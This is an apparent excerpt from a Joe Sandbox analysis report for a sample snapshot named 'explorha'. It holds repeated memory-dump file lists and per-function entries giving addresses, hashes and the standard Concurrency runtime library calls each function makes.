Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: d2f1c6a66bf5c24f2369419540b019c1d9e1c4617b8cfa45d2ca3523cefbcb3d
Instruction ID: bcfed21ac1341781d3a2e68f2639cbe6e8ff2a50b8f8169f60162103533ab11c
Opcode Fuzzy Hash: d2f1c6a66bf5c24f2369419540b019c1d9e1c4617b8cfa45d2ca3523cefbcb3d
Instruction Fuzzy Hash: 6141DF30A00609AFCF20DF68C884A9EBFE5EF44314F1480D5E8199B7E2DB35AA05CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00AFF3A8 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 00AFF421
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 00AFF43E
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 00AFF4A4
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 00AFF4B9
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 00AFF4CB
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 00AFF4DB
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 00AFF504

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 5f48b097d862dfa50e164e3ad8de1241af56abb482b4b8daf4cfa309326491c9
Instruction ID: e42a42cf85fcd15f126cb8a81faf86d649daa69f01f555d950af950ca605c6ef
Opcode Fuzzy Hash: 5f48b097d862dfa50e164e3ad8de1241af56abb482b4b8daf4cfa309326491c9
Instruction Fuzzy Hash: F041AC30A0024C9EDF25FFF486957BE77A16F01301F1440B9FA46AB2C3DB248A09C762

Uniqueness

Uniqueness Score: -1.00%

Function 00AFFE3F Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00AFFE67

Part of subcall function 00AFFBD4: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00AFFC07
Part of subcall function 00AFFBD4: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00AFFC29

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00AFFEE4
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00AFFEF0
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00AFFEFF
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00AFFF09
Concurrency::location::_Assign.LIBCMT ref: 00AFFF3D
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00AFFF45

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: cb7d18f5075543fc043ab55e1fbcc99806cebc622f599f77cc295b78e2d47b4c
Instruction ID: c83e38579c3cea4667c7a7e8b3464809dcb8d495fa50748663344693fe84bda2
Opcode Fuzzy Hash: cb7d18f5075543fc043ab55e1fbcc99806cebc622f599f77cc295b78e2d47b4c
Instruction Fuzzy Hash: 78411D75A00208DFCF05EFA4C495BADB7B5FF48310F1580A9EE599B382DB34A941CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AF5B6E Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00AF5BC8
ListArray.LIBCONCRT ref: 00AF5BFC
Hash.LIBCMT ref: 00AF5C65
Hash.LIBCMT ref: 00AF5C75

Part of subcall function 00AFB2D1: std::bad_exception::bad_exception.LIBCMT ref: 00AFB2F3

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 00AF5DDB
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00AF5E34

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 7ed2989f69252f1b9f1d17302582d00c3d8ea4cd03eada1524880f792dc68f93
Instruction ID: dc194e7049eb0aa412cf8bbd58fab78e8f43a3d2c97f852684c644335b664602
Opcode Fuzzy Hash: 7ed2989f69252f1b9f1d17302582d00c3d8ea4cd03eada1524880f792dc68f93
Instruction Fuzzy Hash: 858151B0A11B56FAD708DFB4C545BE9FAA8BF09710F10431AF628D7281DBB46614CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00AF04EF Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00AF054C
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 00AF0558
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00AF0571
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00AF059F
Concurrency::Context::Block.LIBCONCRT ref: 00AF05C1

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 5cc244144aa21fd67cfd2a0a96b48e24ba2f812f1f3e95140b654c23969b8c77
Instruction ID: 1ed4990a0f1c5a27adb9ee3d7d6f49868631346da7428d525d5e9936d238ee04
